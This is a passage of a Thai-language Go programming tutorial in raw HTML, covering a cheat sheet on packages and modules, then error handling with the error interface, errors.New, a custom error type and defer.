href="https://blog.pjjop.org/p/2911d585-fd12-44bd-888c-ec9069d3e47b/?fbclid=IwY2xjawHV3YxleHRuA2FlbQIxMQABHdrt6zNiuNHKRkhMdjeSKjrR_8B-edwAJplUXunDCqLZGX7UnFgAOK58bQ_aem_6tUpHrWHtpnetn0JiyP9Dw">12-Factor App</a></figcaption></figure><h3 id="exercise-4"><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></h3><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Package &#xE07;&#xE48;&#xE32;&#xE22; &#xE46; &#xE41;&#xE25;&#xE30; Import &#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;</p><p><em><a href="https://forms.gle/9HC5gm5V7XqYLnN9A?ref=blog.pjjop.org"><em><em><em><em><em><em><em>Go Quiz </em></em></em></em>8</em></em></em></a><em><em><em><em><em><em><em> (</em></em></em></em></em></em></em>20<em><em><em><em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-package-%E0%B9%81%E0%B8%A5%E0%B8%B0-module"><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet</em></em> </em>Package &#xE41;&#xE25;&#xE30; Module</em></h3><pre><code>Package &#xE41;&#xE25;&#xE30; Module
------------------

1. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Package
   - &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder &#xE43;&#xE2B;&#xE21;&#xE48;
   - &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; .go &#xE43;&#xE19; Folder &#xE19;&#xE31;&#xE49;&#xE19;
   - &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE14;&#xE49;&#xE27;&#xE22; package &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE1E;&#xE47;&#xE04;&#xE40;&#xE01;&#xE08;

2. Import Package
   import &quot;path/to/package&quot;
   import (
       &quot;package1&quot;
       &quot;package2&quot;
   )

3. Export/Unexport
   - Function &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE17;&#xE35;&#xE48;&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE08;&#xE30; Export &#xE44;&#xE14;&#xE49;
   - &#xE17;&#xE35;&#xE48;&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE40;&#xE25;&#xE47;&#xE01;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Package

4. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Module
   go mod init github.com/username/module

5. &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Dependency
   go get package_url

6. &#xE17;&#xE33;&#xE44;&#xE21; Dependency &#xE19;&#xE35;&#xE49;&#xE08;&#xE36;&#xE07;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;
   go mod why
7. Update Dependency
   go get -u
   go mod tidy

8. &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;
   - go.mod &#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23; Dependency
   - go.sum &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07; Dependency

9. Build
   go build</code></pre><h2 id="error-defer-panic-%E0%B9%81%E0%B8%A5%E0%B8%B0-recover-%E0%B8%88%E0%B8%B1%E0%B8%94%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%81%E0%B8%B1%E0%B8%9A%E0%B8%9B%E0%B8%B1%E0%B8%8D%E0%B8%AB%E0%B8%B2"><strong><strong>Error, Defer, Panic &#xE41;&#xE25;&#xE30; Recover : &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;</strong></strong></h2><p>&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Program &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE19;&#xE17;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE19;&#xE48;&#xE32;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE37;&#xE2D;</p><p>Go &#xE21;&#xE35;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22;&#xE41;&#xE25;&#xE30;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Exception &#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE1A;&#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE37;&#xE48;&#xE19;</p><figure class="kg-card kg-code-card"><pre><code>def divide(a, b):
    # &#xE16;&#xE49;&#xE32; b &#xE40;&#xE1B;&#xE47;&#xE19; 0 Python &#xE08;&#xE30; raise ZeroDivisionError &#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;
    return a / b

def main():
    try:
        result = divide(10, 0)
        print(&quot;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;:&quot;, result)
    except ZeroDivisionError as e:
        # &#xE14;&#xE31;&#xE01;&#xE08;&#xE31;&#xE1A; ZeroDivisionError &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01; a/b &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; b = 0
        print(&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;:&quot;, e)

if __name__ == &quot;__main__&quot;:
    main()</code></pre><figcaption>Exception &#xE43;&#xE19; Python</figcaption></figure><p>Go &#xE21;&#xE35; <a href="https://go.dev/blog/error-handling-and-go?ref=blog.pjjop.org"><strong>Built-in Interface</strong> &quot;<strong>error</strong>&quot;</a> (error &#xE44;&#xE21;&#xE48;&#xE21;&#xE35; s) &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Method &#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE04;&#xE37;&#xE2D; Method &quot;<strong>Error()</strong>&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE44;&#xE21;&#xE48;&#xE23;&#xE31;&#xE1A;&#xE1E;&#xE32;&#xE23;&#xE32;&#xE21;&#xE34;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C; &#xE41;&#xE25;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; string &#xE17;&#xE35;&#xE48;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07; Import &#xE2D;&#xE30;&#xE44;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;</p><pre><code>// &#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; Interface error &#xE40;&#xE1B;&#xE47;&#xE19; Built-in Interface &#xE43;&#xE19; Go
type error interface {
    Error() string
}</code></pre><p>&#xE41;&#xE25;&#xE30; Go &#xE21;&#xE35; Standard Library &quot;<strong>errors</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23; Import &#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;</p><pre><code>import &quot;errors&quot;</code></pre><p>Interface &quot;error&quot; &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE08;&#xE32;&#xE01; Function &quot;New()&quot; &#xE43;&#xE19; Library &quot;<strong><a href="https://go.dev/src/errors/errors.go?ref=blog.pjjop.org">errors</a></strong>&quot; &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Code &#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>// Function &quot;New&quot; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23; Implement Method Error() &#xE41;&#xE01;&#xE48; errorString &#xE43;&#xE19; Library &quot;errors&quot;

package errors

type errorString struct {
	s string
}

func (e * errorString) Error() string {
	return e.s
}

func New(text string) error {
	return &amp;errorString {
		text
	}
}</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Function &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Interface &quot;error&quot; &#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>// &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; Function &quot;divide&quot; &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Interface &quot;error&quot;
func divide(a, b float64) (float64, error) {
    if b == 0 {
        return 0, errors.New(&quot;&#xE2B;&#xE32;&#xE23;&#xE14;&#xE49;&#xE27;&#xE22;&#xE28;&#xE39;&#xE19;&#xE22;&#xE4C;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&quot;)
    }
    return a / b, nil
}</code></pre><p><strong>&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Error</strong><br>Function &quot;divide&quot; &#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; 2 &#xE04;&#xE48;&#xE32; &#xE04;&#xE48;&#xE32;&#xE41;&#xE23;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; float64 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE48;&#xE32;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE41;&#xE25;&#xE30;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; error &#xE08;&#xE32;&#xE01; Built-in Interface</p><p>&#xE16;&#xE49;&#xE32; Function &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; <strong>&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C; </strong>&#xE41;&#xE25;&#xE30; <strong>nil</strong> &#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; <strong>0</strong> &#xE41;&#xE25;&#xE30; <strong>error</strong> &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48; nil &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; errors.New(&quot;&#xE2B;&#xE32;&#xE23;&#xE14;&#xE49;&#xE27;&#xE22;&#xE28;&#xE39;&#xE19;&#xE22;&#xE4C;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&quot;)</p><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> errors &#xE04;&#xE37;&#xE2D;&#xE0A;&#xE37;&#xE48;&#xE2D; Library &#xE41;&#xE25;&#xE30; New() &#xE04;&#xE37;&#xE2D; Function &#xE43;&#xE19; Library &quot;errors&quot;</p><pre><code>result, err := divide(10, 0)
if err != nil {
    fmt.Println(&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;:&quot;, err)
} else {
    fmt.Println(&quot;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;:&quot;, result)
}</code></pre><p>&#xE01;&#xE32;&#xE23;&#xE21;&#xE35; Built-in Interface<strong> </strong>&quot;error&quot; &#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Error &#xE41;&#xE1A;&#xE1A;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE40;&#xE2D;&#xE07;&#xE44;&#xE14;&#xE49; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23; Implement Method Error() &#xE41;&#xE01;&#xE48; DivisionError &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; 2 Field &#xE04;&#xE37;&#xE2D; dividend &#xE41;&#xE25;&#xE30; &#xA0;divisor</p><pre><code>package main
import (
    &quot;fmt&quot;
)

// Implement Error Interface (Implement Method Error())
type DivisionError struct {
    dividend float64
    divisor  float64
}

func (e *DivisionError) Error() string {
    return fmt.Sprintf(&quot;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2B;&#xE32;&#xE23; %.2f &#xE14;&#xE49;&#xE27;&#xE22; %.2f &#xE44;&#xE14;&#xE49;&quot;, e.dividend, e.divisor)
}

// &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;
func safeDivide(a, b float64) (float64, error) {
    if b == 0 {
        return 0, &amp;DivisionError{a, b}
    }
    return a / b, nil
}

func main() {
    result, err := safeDivide(5, 0)
    if err != nil {
        fmt.Println(&quot;&#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&quot;, err)
    } else {
        fmt.Printf(&quot;5 / 0 = %.2f\n&quot;, result)
    }
}</code></pre><p>&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Function &quot;errors.New()&quot; &#xE43;&#xE19; Code &#xE08;&#xE36;&#xE07;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Import Package &quot;errors&quot;</p><p>Go &#xE21;&#xE35;&#xE01;&#xE25;&#xE44;&#xE01;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>defer</strong> &#xE17;&#xE35;&#xE48;&#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE01;&#xE31;&#xE1A; Try-Finally &#xE43;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE41;&#xE15;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE19;&#xE48;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;&#xE23;&#xE49;&#xE32;&#xE22;&#xE41;&#xE23;&#xE07;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE48;&#xE2D;&#xE19; Program &#xE08;&#xE30;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; </p><p><strong>defer &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE07;&#xE27;&#xE25;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE25;&#xE37;&#xE21;</strong> &#xE41;&#xE25;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49; Code &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE30;&#xE40;&#xE1A;&#xE35;&#xE22;&#xE1A;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE27;&#xE32;&#xE07;&#xE41;&#xE1C;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE14;&#xE35;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE1B;&#xE40;&#xE17;&#xE35;&#xE48;&#xE22;&#xE27; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE08;&#xE14;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE1A;&#xE49;&#xE32;&#xE19; &#xE25;&#xE07;&#xE43;&#xE19;&#xE2A;&#xE21;&#xE38;&#xE14;&#xE42;&#xE19;&#xE49;&#xE15; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE40;&#xE15;&#xE47;&#xE21;&#xE17;&#xE35;&#xE48;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE07;&#xE27;&#xE25;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE25;&#xE37;&#xE21;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE16;&#xE36;&#xE07;&#xE1A;&#xE49;&#xE32;&#xE19;</p><pre><code>func readFile(filename string) error {
    file, err := os.Open(filename)
    if err != nil {
        return err
    }
    defer file.Close()

    // &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE44;&#xE1F;&#xE25;&#xE4C;...
    return nil
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE08;&#xE2D;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; defer, Go &#xE08;&#xE30;&#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01; Function &#xE41;&#xE25;&#xE30; Argument &#xE44;&#xE27;&#xE49;</p><p>&#xE16;&#xE49;&#xE32;&#xE21;&#xE35; &#xA0;Argument &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14; defer &#xE2B;&#xE32;&#xE01; Argument &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE04;&#xE48;&#xE32;&#xE20;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE01;&#xE47;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE15;&#xE48;&#xE2D;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B; &#xE42;&#xE14;&#xE22;&#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE48;&#xE32;&#xE40;&#xE14;&#xE34;&#xE21;&#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE41;&#xE23;&#xE01;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32; Function</p><p>Function <code>file.Close()</code> &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01; defer &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01; Function <code>readFile()</code> &#xE17;&#xE35;&#xE48;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; <strong>&#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; nil</strong> (return nil) &#xE2B;&#xE23;&#xE37;&#xE2D; <strong>err</strong> (return err)</p><p>defer &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Code &#xE2D;&#xE48;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19; &#xE42;&#xE14;&#xE22;&#xE27;&#xE32;&#xE07; Cleanup Code &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE1B;&#xE34;&#xE14;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE37;&#xE19;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23; &#xE44;&#xE27;&#xE49;&#xE43;&#xE01;&#xE25;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE08;&#xE38;&#xE14;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23;</p><p>&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22; defer &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; Last In First Out 